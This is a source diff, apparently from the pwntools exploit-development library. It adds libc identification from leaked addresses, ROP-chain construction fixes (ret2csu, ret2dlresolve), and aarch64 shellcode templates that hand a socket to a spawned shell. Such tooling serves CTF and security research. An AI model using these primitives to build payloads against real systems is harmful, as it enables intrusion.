+        yield 'https://launchpad.net/ubuntu/+archive/primary/+files/libc6_{}_{}.deb'.format(libc_version, libc.arch)
+
+def download_libraries(libc_path, unstrip=True):
+    """download_libraries(str, bool) -> str
+    Download the matching libraries for the given libc binary and cache
+    them in a local directory. The libraries are looked up using `libc.rip <https://libc.rip>`_
+    and fetched from the official package repositories if available.
+
+    This commonly includes the ``ld-linux-x86-64.so.2`` and ``libpthread.so.0`` binaries
+    which can be used to execute the program locally when the given libc is
+    incompatible with the local dynamic loader.
+
+    Note: Only .deb and .pkg.tar.* packages are currently supported (Debian/Ubuntu, Arch).
+
+    Arguments:
+        libc_path(str):
+            The path the libc binary.
+        unstrip(bool):
+            Try to fetch debug info for the libc and apply it to the downloaded file.
+
+    Returns:
+        The path to the cached directory containing the downloaded libraries.
+
+    Example:
+        >>> libc_path = ELF(which('ls'), checksec=False).libc.path
+        >>> lib_path = download_libraries(libc_path)
+        >>> lib_path is not None
+        True
+        >>> os.path.exists(os.path.join(lib_path, 'libc.so.6'))
+        True
+        >>> os.path.exists(os.path.join(lib_path, 'ld-linux-x86-64.so.2'))
+        True
+    """
+
+    libc = ELF(libc_path, checksec=False)
+    if not libc.buildid:
+        log.warn_once('Given libc does not have a buildid.')
+        return None
+    
+    # Handle caching and don't redownload if it already exists.
+    cache_dir = os.path.join(context.cache_dir, 'libcdb_libs')
+    if not os.path.isdir(cache_dir):
+        os.makedirs(cache_dir)
+    
+    cache_dir = os.path.join(cache_dir, enhex(libc.buildid))
+    if os.path.exists(cache_dir):
+        return cache_dir
+
+    for package_url in _find_libc_package_lib_url(libc):
+        extension_handlers = {
+            '.deb': _extract_debfile,
+            '.pkg.tar.xz': _extract_pkgfile,
+            '.pkg.tar.zst': _extract_pkgfile,
+        }
+
+        package_filename = os.path.basename(package_url)
+        for extension, handler in extension_handlers.items():
+            if package_filename.endswith(extension):
+                break
+        else:
+            log.failure('Cannot handle %s (%s)', package_filename, package_url)
+            continue
+
+        # Download the package
+        package = wget(package_url, timeout=20)
+        if not package:
+            continue
+
+        # Create target cache directory to extract files into
+        if not os.path.isdir(cache_dir):
+            os.makedirs(cache_dir)
+
+        try:
+            # Extract the archive
+            libc_path = handler(cache_dir, package_filename, package)
+        except Exception as e:
+            os.removedirs(cache_dir)
+            log.failure('Failed to extract %s: %s', package_filename, e)
+            continue
+        # Unstrip the libc binary
+        try:
+            if unstrip:
+                unstrip_libc(libc_path)
+        except Exception:
+            pass
+
+        return cache_dir
+
+    log.warn_once('Failed to find matching libraries for provided libc.')
+    return None
+
+def _handle_multiple_matching_libcs(matching_libcs):
+    from pwnlib.term import text
+    from pwnlib.ui import options
+    log.info('Multiple matching libc libraries for requested symbols:')
+    for idx, libc in enumerate(matching_libcs):
+        log.info('%d. %s', idx+1, text.red(libc['id']))
+        log.indented('\t%-20s %s', text.green('BuildID:'), libc['buildid'])
+        log.indented('\t%-20s %s', text.green('MD5:'), libc['md5'])
+        log.indented('\t%-20s %s', text.green('SHA1:'), libc['sha1'])
+        log.indented('\t%-20s %s', text.green('SHA256:'), libc['sha256'])
+        log.indented('\t%s', text.green('Symbols:'))
+        for symbol, address in libc['symbols'].items():
+            log.indented('\t%25s = %s', symbol, address)
+
+    selected_index = options("Select the libc version to use:", [libc['id'] for libc in matching_libcs])
+    return matching_libcs[selected_index]
+
+def search_by_symbol_offsets(symbols, select_index=None, unstrip=True, return_as_list=False):
+    """
+    Lookup possible matching libc versions based on leaked function addresses.
+
+    The leaked function addresses have to be provided as a dict mapping the
+    function name to the leaked value. Only the lower 3 nibbles are relevant
+    for the lookup.
+
+    If there are multiple matches you are presented with a list to select one
+    interactively, unless the ``select_index`` or ``return_as_list`` arguments
+    are used.
+
+    Arguments:
+        symbols(dict):
+            Dictionary mapping symbol names to their addresses.
+        select_index(int):
+            The libc to select if there are multiple matches (starting at 1).
+        unstrip(bool):
+            Try to fetch debug info for the libc and apply it to the downloaded file.
+        return_as_list(bool):
+            Return a list of build ids of all matching libc versions
+            instead of a path to a downloaded file.
+
+    Returns:
+        Path to the downloaded library on disk, or :const:`None`.
+        If the ``return_as_list`` argument is :const:`True`, a list of build ids
+        is returned instead.
+
+    Examples:
+        >>> filename = search_by_symbol_offsets({'puts': 0x420, 'printf': 0xc90}, select_index=1)
+        >>> libc = ELF(filename)
+        >>> libc.sym.system == 0x52290
+        True
+        >>> matched_libcs = search_by_symbol_offsets({'__libc_start_main_ret': '7f89ad926550'}, return_as_list=True)
+        >>> len(matched_libcs) > 1
+        True
+        >>> for buildid in matched_libcs: # doctest +SKIP
+        ...     libc = ELF(search_by_build_id(buildid)) # doctest +SKIP
+    """
+    for symbol, address in symbols.items():
+        if isinstance(address, int):
+            symbols[symbol] = hex(address)
+
+    params = {'symbols': symbols}
+    log.debug('Request: %s', params)
+    matching_libcs = query_libc_rip(params)
+    log.debug('Result: %s', matching_libcs)
+    if matching_libcs is None or len(matching_libcs) == 0:
+        log.warn_once("No matching libc for symbols %r on libc.rip", symbols)
+        return None
+
+    if return_as_list:
+        return [libc['buildid'] for libc in matching_libcs]
+
+    if len(matching_libcs) == 1:
+        return search_by_build_id(matching_libcs[0]['buildid'], unstrip=unstrip)
+
+    if select_index is not None:
+        if select_index > 0 and select_index <= len(matching_libcs):
+            return search_by_build_id(matching_libcs[select_index - 1]['buildid'], unstrip=unstrip)
+        else:
+            log.error('Invalid selected libc index. %d is not in the range of 1-%d.', select_index, len(matching_libcs))
+            return None
+
+    selected_libc = _handle_multiple_matching_libcs(matching_libcs)
+    return search_by_build_id(selected_libc['buildid'], unstrip=unstrip)
+
+def search_by_build_id(hex_encoded_id, unstrip=True):
     """
     Given a hex-encoded Build ID, attempt to download a matching libc from libcdb.
 
     Arguments:
         hex_encoded_id(str):
             Hex-encoded Build ID (e.g. 'ABCDEF...') of the library
+        unstrip(bool):
+            Try to fetch debug info for the libc and apply it to the downloaded file.
 
     Returns:
         Path to the downloaded library on disk, or :const:`None`.
@@ -152,15 +569,17 @@ def search_by_build_id(hex_encoded_id):
         >>> hex(ELF(filename).symbols.read)
         '0xeef40'
     """
-    return search_by_hash(hex_encoded_id, 'build_id')
+    return search_by_hash(hex_encoded_id, 'build_id', unstrip)
 
-def search_by_md5(hex_encoded_id):
+def search_by_md5(hex_encoded_id, unstrip=True):
     """
     Given a hex-encoded md5sum, attempt to download a matching libc from libcdb.
 
     Arguments:
         hex_encoded_id(str):
             Hex-encoded md5sum (e.g. 'ABCDEF...') of the library
+        unstrip(bool):
+            Try to fetch debug info for the libc and apply it to the downloaded file.
 
     Returns:
         Path to the downloaded library on disk, or :const:`None`.
@@ -175,15 +594,17 @@ def search_by_md5(hex_encoded_id):
         >>> hex(ELF(filename).symbols.read)
         '0xeef40'
     """
-    return search_by_hash(hex_encoded_id, 'md5')
+    return search_by_hash(hex_encoded_id, 'md5', unstrip)
 
-def search_by_sha1(hex_encoded_id):
+def search_by_sha1(hex_encoded_id, unstrip=True):
     """
     Given a hex-encoded sha1, attempt to download a matching libc from libcdb.
 
     Arguments:
         hex_encoded_id(str):
             Hex-encoded sha1sum (e.g. 'ABCDEF...') of the library
+        unstrip(bool):
+            Try to fetch debug info for the libc and apply it to the downloaded file.
 
     Returns:
         Path to the downloaded library on disk, or :const:`None`.
@@ -198,16 +619,18 @@ def search_by_sha1(hex_encoded_id):
         >>> hex(ELF(filename).symbols.read)
         '0xeef40'
     """
-    return search_by_hash(hex_encoded_id, 'sha1')
+    return search_by_hash(hex_encoded_id, 'sha1', unstrip)
 
 
-def search_by_sha256(hex_encoded_id):
+def search_by_sha256(hex_encoded_id, unstrip=True):
     """
     Given a hex-encoded sha256, attempt to download a matching libc from libcdb.
 
     Arguments:
         hex_encoded_id(str):
             Hex-encoded sha256sum (e.g. 'ABCDEF...') of the library
+        unstrip(bool):
+            Try to fetch debug info for the libc and apply it to the downloaded file.
 
     Returns:
         Path to the downloaded library on disk, or :const:`None`.
@@ -222,7 +645,7 @@ def search_by_sha256(hex_encoded_id):
         >>> hex(ELF(filename).symbols.read)
         '0xeef40'
     """
-    return search_by_hash(hex_encoded_id, 'sha256')
+    return search_by_hash(hex_encoded_id, 'sha256', unstrip)
 
 
 
@@ -279,4 +702,4 @@ def get_build_id_offsets():
     }.get(context.arch, [])
 
 
-__all__ = ['get_build_id_offsets', 'search_by_build_id', 'search_by_sha1', 'search_by_sha256', 'search_by_md5']
+__all__ = ['get_build_id_offsets', 'search_by_build_id', 'search_by_sha1', 'search_by_sha256', 'search_by_md5', 'unstrip_libc', 'search_by_symbol_offsets', 'download_libraries']

pwnlib/log.py

@@ -84,7 +84,7 @@ result in a message being emitted but rather an animated progress line (with a
 spinner!) being created.  Note that other handlers will still see a meaningful
 log record.
 
-The custom handler will only handle log records whith a level of at least
+The custom handler will only handle log records with a level of at least
 :data:`context.log_level`.  Thus if e.g. the level for the
 ``'pwnlib.tubes.ssh'`` is set to ``'DEBUG'`` no additional output will show up
 unless :data:`context.log_level` is also set to ``'DEBUG'``.  Other handlers
@@ -99,6 +99,7 @@ import os
 import random
 import re
 import six
+import string
 import sys
 import threading
 import time
@@ -401,6 +402,20 @@ class Logger(object):
 
         self.info(pwnlib.util.fiddling.hexdump(message, *args, **kwargs))
 
+    def maybe_hexdump(self, message, *args, **kwargs):
+        """maybe_hexdump(self, message, *args, **kwargs)
+
+        Logs a message using indented. Repeated single byte is compressed, and
+        unprintable message is hexdumped.
+        """
+        if len(set(message)) == 1 and len(message) > 1:
+            self.indented('%r * %#x' % (message[:1], len(message)), *args, **kwargs)
+        elif len(message) == 1 or all(c in string.printable.encode() for c in message):
+            for line in message.splitlines(True):
+                self.indented(repr(line), *args, **kwargs)
+        else:
+            import pwnlib.util.fiddling
+            self.indented(pwnlib.util.fiddling.hexdump(message), *args, **kwargs)
 
     def warning(self, message, *args, **kwargs):
         """warning(message, *args, **kwargs)

pwnlib/rop/call.py

@@ -246,6 +246,13 @@ class Call(object):
                                     fmt % self.target,
                                     self.args)
 
+    def is_flat(self):
+        if isinstance(self, six.integer_types + (Unresolved,)):
+            return True
+        if not isinstance(self, Call):
+            return False
+        return bool(self.args or self.stack_arguments_before)
+
     @property
     def register_arguments(self):
         return dict(zip(self.abi.register_arguments, self.args))

pwnlib/rop/gadgets.py

@@ -39,7 +39,7 @@ class Gadget(object):
     move = 0
 
     def __init__(self, address, insns, regs, move):
-        self.address = address
+        self.address = int(address)
         self.insns   = insns
         self.regs    = regs
         self.move    = move

pwnlib/rop/ret2csu.py

@@ -31,27 +31,34 @@ def ret2csu(rop, elf, edi, rsi, rdx, rbx, rbp, r12, r13, r14, r15, call=None):
 
     # Resolve __libc_csu_ symbols if candidate binary is stripped
     if '__libc_csu_init' not in elf.symbols:
-        if elf.pie:
-            for insn in md.disasm(elf.section('.text'),
-                                  elf.offset_to_vaddr(elf.get_section_by_name('.text').header['sh_offset'])):
-                if insn.mnemonic == 'lea' and insn.operands[0].reg == X86_REG_R8:
-                    elf.sym['__libc_csu_fini'] = insn.address + insn.size + insn.disp
-                if insn.mnemonic == 'lea' and insn.operands[0].reg == X86_REG_RCX:
-                    elf.sym['__libc_csu_init'] = insn.address + insn.size + insn.disp
+        textaddr = elf.offset_to_vaddr(elf.get_section_by_name('.text').header.sh_offset)
+        entry = elf.entry
+        data = elf.section('.text')[entry-textaddr:]
+        mnemonic = elf.pie and 'lea' or 'mov'
+        for insn in md.disasm(data, entry):
+            if insn.mnemonic == mnemonic:
+                if mnemonic == 'lea':
+                    addr = insn.address + insn.size + insn.disp
+                else:
+                    addr = insn.operands[1].imm
+
+                if insn.operands[0].reg == X86_REG_R8:
+                    elf.sym['__libc_csu_fini'] = addr
+                if insn.operands[0].reg == X86_REG_RCX:
+                    elf.sym['__libc_csu_init'] = addr
                     break
+            elif insn.mnemonic == 'xor' and insn.operands[0].reg == insn.operands[1].reg == X86_REG_ECX:
+                log.error("This binary is compiled for glibc 2.34+ and does not have __libc_csu_init")
+            elif insn.mnemonic in ('hlt', 'jmp', 'call', 'syscall'):
+                log.error("No __libc_csu_init (no glibc _start)")
         else:
-            for insn in md.disasm(elf.section('.text'), elf.get_section_by_name('.text').header['sh_addr']):
-                if insn.mnemonic == 'mov' and insn.operands[0].reg == X86_REG_R8:
-                    elf.sym['__libc_csu_fini'] = insn.operands[1].imm
-                if insn.mnemonic == 'mov' and insn.operands[0].reg == X86_REG_RCX:
-                    elf.sym['__libc_csu_init'] = insn.operands[1].imm
-                    break
+            log.error("Weird _start, definitely no __libc_csu_init")
 
     # Resolve location of _fini address if required
     if not elf.pie and not call:
-        fini = next(elf.search(p64(elf.dynamic_by_tag('DT_FINI')['d_ptr'])))
+        call = next(elf.search(p64(elf.dynamic_by_tag('DT_FINI')['d_ptr'])))
     elif elf.pie and not call:
-        log.error('No non-PIE binaries in [elfs], \'call\' parameter is required')
+        log.error("No non-PIE binaries in [elfs], 'call' parameter is required")
 
     csu_function = elf.read(elf.sym['__libc_csu_init'], elf.sym['__libc_csu_fini'] - elf.sym['__libc_csu_init'])
 
@@ -63,26 +70,33 @@ def ret2csu(rop, elf, edi, rsi, rdx, rbx, rbp, r12, r13, r14, r15, call=None):
     # rbx and rbp must be equal after 'add rbx, 1'
     rop.raw(0x00)  # pop rbx
     rop.raw(0x01)  # pop rbp
-    if call:
-        rop.raw(call)  # pop r12
-    else:
-        rop.raw(fini)  # pop r12
 
     # Older versions of gcc use r13 to populate rdx then r15d to populate edi, newer versions use the reverse
     # Account for this when the binary was linked against a glibc that was built with a newer gcc
     for insn in md.disasm(csu_function, elf.sym['__libc_csu_init']):
         if insn.mnemonic == 'mov' and insn.operands[0].reg == X86_REG_RDX and insn.operands[1].reg == X86_REG_R13:
+            rop.raw(call)  # pop r12
             rop.raw(rdx)  # pop r13
             rop.raw(rsi)  # pop r14
             rop.raw(edi)  # pop r15
             rop.raw(insn.address)
             break
+        elif insn.mnemonic == 'mov' and insn.operands[0].reg == X86_REG_RDX and insn.operands[1].reg == X86_REG_R14:
+            rop.raw(edi)  # pop r12
+            rop.raw(rsi)  # pop r13
+            rop.raw(rdx)  # pop r14
+            rop.raw(call)  # pop r15
+            rop.raw(insn.address)
+            break
         elif insn.mnemonic == 'mov' and insn.operands[0].reg == X86_REG_RDX and insn.operands[1].reg == X86_REG_R15:
+            rop.raw(call)  # pop r12
             rop.raw(edi)  # pop r13
             rop.raw(rsi)  # pop r14
             rop.raw(rdx)  # pop r15
             rop.raw(insn.address)
             break
+    else:
+        log.error("This CSU init variant is not supported by pwntools")
 
     # 2nd gadget: Populate edi, rsi & rdx. Populate optional registers
     rop.raw(Padding('<add rsp, 8>'))  # add rsp, 8

pwnlib/rop/ret2dlresolve.py

@@ -303,7 +303,11 @@ class Ret2dlresolvePayload(object):
         rel_addr = self.jmprel + self.reloc_index * ElfRel.size
         rel_type = 7
         rel = ElfRel(r_offset=self.data_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
-
+        
+        # When a program's PIE is enabled, r_offset should be the relative address, not the absolute address
+        if self.elf.pie:
+            rel = ElfRel(r_offset=self.data_addr - (self.elf.load_addr + self.elf_load_address_fixup), r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
+        
         self.payload = fit({
             symbol_name_addr - self.data_addr: symbol_name,
             sym_addr - self.data_addr: sym,

pwnlib/rop/rop.py

@@ -24,12 +24,13 @@ Each :class:`Gadget` has an ``address`` property which has the real address as w
     >>> hex(rop.eax.address)
     '0x10000004'
 
-Other, more complicated gdagets also happen magically
+Other, more complicated gadgets also happen magically
 
     >>> rop.ecx
     Gadget(0x10000006, ['pop ecx', 'pop ebx', 'ret'], ['ecx', 'ebx'], 0xc)
 
 The easiest way to set up individual registers is to invoke the ``ROP`` object as a callable, with the registers as arguments.
+This has the benefit of using multi-pop gadgets to set multiple registers with one gadget.
     
     >>> rop(eax=0x11111111, ecx=0x22222222)
 
@@ -44,6 +45,37 @@ which corresponds to their offset, which is useful when debuggging your exploit.
     0x000c:       0x10000004 pop eax; ret
     0x0010:       0x11111111
 
+
+If you really want to set one register at a time, you can also use the assignment form.
+It's generally advised to use the rop(eax=..., ecx=...) form, since there may be an
+e.g. ``pop eax; pop ecx; ret`` gadget that can be taken advantage of.
+
+    >>> rop = ROP(binary)
+    >>> rop.eax = 0xdeadf00d
+    >>> rop.ecx = 0xc01dbeef
+    >>> rop.raw(0xffffffff)
+    >>> print(rop.dump())
+    0x0000:       0x10000004 pop eax; ret
+    0x0004:       0xdeadf00d
+    0x0008:       0x10000006 pop ecx; pop ebx; ret
+    0x000c:       0xc01dbeef
+    0x0010:          b'eaaa' <pad ebx>
+    0x0014:       0xffffffff
+
+If you just want to FIND a ROP gadget, you can access them as a property on the ``ROP``
+object by register name.
+
+    >>> rop = ROP(binary)
+    >>> rop.eax
+    Gadget(0x10000004, ['pop eax', 'ret'], ['eax'], 0x8)
+    >>> hex(rop.eax.address)
+    '0x10000004'
+    >>> rop.raw(rop.eax)
+    >>> rop.raw(0x12345678)
+    >>> print(rop.dump())
+    0x0000:       0x10000004 pop eax; ret
+    0x0004:       0x12345678
+
 Let's re-create our ROP object now to show for some other examples.:
 
     >>> rop = ROP(binary)
@@ -92,12 +124,10 @@ The stack is automatically adjusted for the next frame
     0x001c:              0x6 arg2
     0x0020:          b'iaaa' <pad>
     0x0024:       0xdecafbad write(7, 8, 9)
-    0x0028:       0x10000000 <adjust @0x3c> add esp, 0x10; ret
+    0x0028:       0xfeedface exit()
     0x002c:              0x7 arg0
     0x0030:              0x8 arg1
     0x0034:              0x9 arg2
-    0x0038:          b'oaaa' <pad>
-    0x003c:       0xfeedface exit()
 
 You can also append complex arguments onto stack when the stack pointer is known.
 
@@ -188,18 +218,16 @@ Finally, let's build our ROP stack
     >>> rop.exit()
     >>> print(rop.dump())
     0x0000:       0x10000012 write(STDOUT_FILENO, 0x10000026, 8)
-    0x0004:       0x1000000e <adjust @0x18> add esp, 0x10; ret
+    0x0004:       0x1000002f exit()
     0x0008:              0x1 STDOUT_FILENO
     0x000c:       0x10000026 flag
     0x0010:              0x8 arg2
-    0x0014:          b'faaa' <pad>
-    0x0018:       0x1000002f exit()
 
-The raw data from the ROP stack is available via `str`.
+The raw data from the ROP stack is available via `r.chain()` (or `bytes(r)`).
 
     >>> raw_rop = rop.chain()
     >>> print(enhex(raw_rop))
-    120000100e000010010000002600001008000000666161612f000010
+    120000102f000010010000002600001008000000
 
 Let's try it out!
 
@@ -927,7 +955,7 @@ class ROP(object):
                     # If there were arguments on the stack, we need to stick something
                     # in the slot where the return address goes.
                     if len(stackArguments) > 0:
-                        if remaining:
+                        if remaining and (remaining > 1 or Call.is_flat(chain[-1])):
                             fix_size  = (1 + len(stackArguments))
                             fix_bytes = fix_size * context.bytes
                             adjust   = self.search(move = fix_bytes)
@@ -944,6 +972,13 @@ class ROP(object):
                                 stackArguments.append(Padding())
 
                         # We could not find a proper "adjust" gadget, but also didn't need one.
+                        elif remaining:
+                            _, nxslot = next(iterable)
+                            stack.describe(self.describe(nxslot))
+                            if isinstance(nxslot, Call):
+                                stack.append(nxslot.target)
+                            else:
+                                stack.append(nxslot)
                         else:
                             stack.append(Padding("<return address>"))
 
@@ -1002,10 +1037,6 @@ class ROP(object):
 
         return stack
 
-
-    def find_stack_adjustment(self, slots):
-        self.search(move=slots * context.bytes)
-
     def chain(self, base=None):
         """Build the ROP chain
         
@@ -1132,6 +1163,15 @@ class ROP(object):
             if tuple(gadget.insns)[:n] == tuple(instructions):
                 return gadget
 
+    def _flatten(self, initial_list):
+        # Flatten out any nested lists.
+        flattened_list = []
+        for data in initial_list:
+            if isinstance(data, (list, tuple)):
+                flattened_list.extend(self._flatten(data))
+            else:
+                flattened_list.append(data)
+        return flattened_list
 
     def raw(self, value):
         """Adds a raw integer or string to the ROP chain.
@@ -1139,14 +1179,18 @@ class ROP(object):
         If your architecture requires aligned values, then make
         sure that any given string is aligned!
 
+        When given a list or a tuple of values, the list is
+        flattened before adding every item to the chain.
+
         Arguments:
-            data(int/bytes): The raw value to put onto the rop chain.
+            data(int/bytes/list): The raw value to put onto the rop chain.
 
         >>> context.clear(arch='i386')
         >>> rop = ROP([])
         >>> rop.raw('AAAAAAAA')
         >>> rop.raw('BBBBBBBB')
         >>> rop.raw('CCCCCCCC')
+        >>> rop.raw(['DDDD', 'DDDD'])
         >>> print(rop.dump())
         0x0000:          b'AAAA' 'AAAAAAAA'
         0x0004:          b'AAAA'
@@ -1154,10 +1198,16 @@ class ROP(object):
         0x000c:          b'BBBB'
         0x0010:          b'CCCC' 'CCCCCCCC'
         0x0014:          b'CCCC'
+        0x0018:          b'DDDD' 'DDDD'
+        0x001c:          b'DDDD' 'DDDD'
         """
         if self.migrated:
             log.error('Cannot append to a migrated chain')
-        self._chain.append(value)
+
+        if isinstance(value, (list, tuple)):
+            self._chain.extend(self._flatten(value))
+        else:
+            self._chain.append(value)
 
     def migrate(self, next_base):
         """Explicitly set $sp, by using a ``leave; ret`` gadget"""
@@ -1189,6 +1239,9 @@ class ROP(object):
 
     def __get_cachefile_name(self, files):
         """Given an ELF or list of ELF objects, return a cache file for the set of files"""
+        if context.cache_dir is None:
+            return None
+
         cachedir = os.path.join(context.cache_dir, 'rop-cache')
         if not os.path.exists(cachedir):
             os.mkdir(cachedir)
@@ -1205,12 +1258,14 @@ class ROP(object):
     @staticmethod
     def clear_cache():
         """Clears the ROP gadget cache"""
+        if context.cache_dir is None:
+            return
         cachedir = os.path.join(context.cache_dir, 'rop-cache')
         shutil.rmtree(cachedir)
 
     def __cache_load(self, elf):
         filename = self.__get_cachefile_name(elf)
-        if not os.path.exists(filename):
+        if filename is None or not os.path.exists(filename):
             return None
         gadgets = eval(open(filename).read())
         gadgets = {k - elf.load_addr + elf.address:v for k, v in gadgets.items()}
@@ -1218,8 +1273,11 @@ class ROP(object):
         return gadgets
 
     def __cache_save(self, elf, data):
+        filename = self.__get_cachefile_name(elf)
+        if filename is None:
+            return
         data = {k + elf.load_addr - elf.address:v for k, v in data.items()}
-        open(self.__get_cachefile_name(elf), 'w+').write(repr(data))
+        open(filename, 'w+').write(repr(data))
 
     def __load(self):
         """Load all ROP gadgets for the selected ELF files"""
@@ -1274,7 +1332,7 @@ class ROP(object):
                 pass
 
             def __getattr__(self, k):
-                return self._fd.__getattribute__(k)
+                return getattr(self._fd, k)
 
         gadgets = {}
         for elf in self.elfs:
@@ -1329,7 +1387,11 @@ class ROP(object):
                     regs.append(pop.match(insn).group(1))
                     sp_move += context.bytes
                 elif add.match(insn):
-                    sp_move += int(add.match(insn).group(1), 16)
+                    arg = int(add.match(insn).group(1), 16)
+                    sp_move += arg
+                    while arg >= context.bytes:
+                        regs.append(hex(arg))
+                        arg -= context.bytes
                 elif ret.match(insn):
                     sp_move += context.bytes
                 elif leave.match(insn):
@@ -1477,23 +1539,18 @@ class ROP(object):
         # Find an appropriate, non-library ELF.
         # Prioritise non-PIE binaries so we can use _fini
         exes = (elf for elf in self.elfs if not elf.library and elf.bits == 64)
-        if not exes:
-            log.error('No non-library binaries in [elfs]')
 
-        nonpie = csu = None
+        csu = None
         for elf in exes:
-            if not elf.pie:
-                if '__libc_csu_init' in elf.symbols:
-                    break
-                nonpie = elf
-            elif '__libc_csu_init' in elf.symbols:
+            if '__libc_csu_init' in elf.symbols:
                 csu = elf
+                if not elf.pie:
+                    break
 
-        if elf.pie:
-            if nonpie:
-                elf = nonpie
-            elif csu:
-                elf = csu
+        if csu:
+            elf = csu
+        else:
+            log.error('No non-library binaries in [elfs]')
 
         from .ret2csu import ret2csu
         ret2csu(self, elf, edi, rsi, rdx, rbx, rbp, r12, r13, r14, r15, call)

pwnlib/rop/srop.py

@@ -391,7 +391,9 @@ class SigreturnFrame(dict):
             self.set_regvalue(attr, value)
 
     def __getattr__(self, attr):
-        return self[attr]
+        if attr in self:
+            return self[attr]
+        raise AttributeError(attr)
 
     def __bytes__(self):
         frame = b""

pwnlib/runner.py

@@ -39,14 +39,14 @@ def run_shellcode(bytes, **kw):
 
     Example:
 
-        >>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
-        >>> p = run_shellcode(bytes)
+        >>> insn_bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
+        >>> p = run_shellcode(insn_bytes)
         >>> p.wait_for_close()
         >>> p.poll()
         3
 
-        >>> bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
-        >>> p = run_shellcode(bytes, arch='arm')
+        >>> insn_bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
+        >>> p = run_shellcode(insn_bytes, arch='arm')
         >>> p.wait_for_close()
         >>> p.poll()
         12
@@ -84,8 +84,8 @@ def run_shellcode_exitcode(bytes):
 
     Example:
 
-        >>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
-        >>> run_shellcode_exitcode(bytes)
+        >>> insn_bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
+        >>> run_shellcode_exitcode(insn_bytes)
         3
     """
     p = run_shellcode(bytes)

pwnlib/shellcraft/__init__.py

@@ -153,9 +153,9 @@ class module(ModuleType):
             if comment: return '%s /* %s */' % (n,self.pretty(int(n)))
             else:       return '%s (%s)'     % (n,self.pretty(int(n)))
         elif abs(n) < 10:
-            return str(n)
+            return '%d' % n
         else:
-            return hex(n)
+            return '%#x' % n
 
     def okay(self, s, *a, **kw):
         if isinstance(s, six.integer_types):
@@ -186,4 +186,5 @@ class LazyImporter:
 
     def load_module(self, fullname):
         return sys.modules[fullname]
+
 sys.meta_path.append(LazyImporter())

pwnlib/shellcraft/internal.py

@@ -2,6 +2,7 @@ from __future__ import absolute_import
 from __future__ import division
 
 import os
+import sys
 
 from pwnlib.context import context
 
@@ -109,47 +110,17 @@ def get_context_from_dirpath(directory):
     return {'os': osys, 'arch': arch}
 
 def make_function(funcname, filename, directory):
+    import functools
     import inspect
     path       = os.path.join(directory, filename)
     template   = lookup_template(path)
 
-    args, varargs, keywords, defaults = inspect.getargspec(template.module.render_body)
-
-    defaults = defaults or []
-
-    if len(defaults) < len(args) and args[0] == 'context':
-        args.pop(0)
-
-    args_used = args[:]
-
-    for n, default in enumerate(defaults, len(args) - len(defaults)):
-        args[n] = '%s = %r' % (args[n], default)
-
-    if varargs:
-        args.append('*' + varargs)
-        args_used.append('*' + varargs)
-
-    if keywords not in ['pageargs', None]:
-        args.append('**' + keywords)
-        args_used.append('**' + keywords)
-
-    docstring = inspect.cleandoc(template.module.__doc__ or '')
-    args      = ', '.join(args)
-    args_used = ', '.join(args_used)
     local_ctx = get_context_from_dirpath(directory)
 
-    # This is a slight hack to get the right signature for the function
-    # It would be possible to simply create an (*args, **kwargs) wrapper,
-    # but what would not have the right signature.
-    # While we are at it, we insert the docstring too
-    T = r'''
-def wrap(template, render_global):
-    import pwnlib
-    def %(funcname)s(%(args)s):
-        %(docstring)r
+    def res(*args, **kwargs):
         with render_global.go_inside() as was_inside:
-            with pwnlib.context.context.local(**%(local_ctx)s):
-                lines = template.render(%(args_used)s).split('\n')
+            with context.local(**local_ctx):
+                lines = template.render(*args, **kwargs).split('\n')
         for i, line in enumerate(lines):
             def islabelchar(c):
                 return c.isalnum() or c == '.' or c == '_'
@@ -168,19 +139,16 @@ def wrap(template, render_global):
             return s
         else:
             return s + '\n'
-    return %(funcname)s
-''' % locals()
-
-    g = {}
-    exec(T, g, g)
-    wrap = g['wrap']
 
     # Setting _relpath is a slight hack only used to get better documentation
-    res = wrap(template, render_global)
     res._relpath = path
     res.__module__ = 'pwnlib.shellcraft.' + os.path.dirname(path).replace('/','.')
-
-    import sys, functools
+    res.__name__ = res.__qualname__ = funcname
+    res.__doc__ = inspect.cleandoc(template.module.__doc__ or '')
+    if hasattr(inspect, 'signature'):
+        sig = inspect.signature(template.module.render_body)
+        sig = sig.replace(parameters=list(sig.parameters.values())[1:-1])
+        res.__signature__ = sig
 
     @functools.wraps(res)
     def function(*a):

pwnlib/shellcraft/templates/aarch64/linux/dupio.asm

@@ -0,0 +1,18 @@
+<% from pwnlib.shellcraft import common %>
+<% from pwnlib.shellcraft.aarch64 import mov,setregs %>
+<%page args="sock = 'x12'"/>
+<%docstring>
+Args: [sock (imm/reg) = x12]
+    Duplicates sock to stdin, stdout and stderr
+</%docstring>
+<%
+  looplabel = common.label("loop")
+%>
+    /* dup() file descriptor ${sock} into stdin/stdout/stderr */
+        ${setregs({'x8': 'SYS_dup3', 'x1': 2, 'x2': 0})}
+
+${looplabel}:
+        ${mov('x0', sock)}
+        svc #0
+        subs x1, x1, #1
+        bpl ${looplabel}

pwnlib/shellcraft/templates/aarch64/linux/dupsh.asm

@@ -0,0 +1,11 @@
+<% from pwnlib.shellcraft.aarch64 import linux %>
+<%page args="sock = 'x12'"/>
+<%docstring>
+Args: [sock (imm/reg) = x12]
+    Duplicates sock to stdin, stdout and stderr and spawns a shell.
+</%docstring>
+
+
+${linux.dupio(sock)}
+
+${linux.sh()}

pwnlib/shellcraft/templates/aarch64/linux/loader.asm

@@ -107,14 +107,14 @@ PT_LOAD  = 1
     mov x3, sp
     stp  x2, x3, [sp, #-16]!
 
-    /* argc, argv[0], argv[1], envp */
+    /* argc, argv[0], argv[1], envp; x0 must be zero! */
     /* ideally these could all be empty, but unfortunately
        we have to keep the stack aligned.  it's easier to
        just push an extra argument than care... */
     stp  x0, x1, [sp, #-16]! /* argv[1] = NULL, envp = NULL */
-    mov  x0, 1
-    mov  x1, sp
-    stp  x0, x1, [sp, #-16]! /* argc = 1, argv[0] = "" */
+    mov  x2, 1
+    mov  x3, sp
+    stp  x2, x3, [sp, #-16]! /* argc = 1, argv[0] = "" */
 
     br x8
 

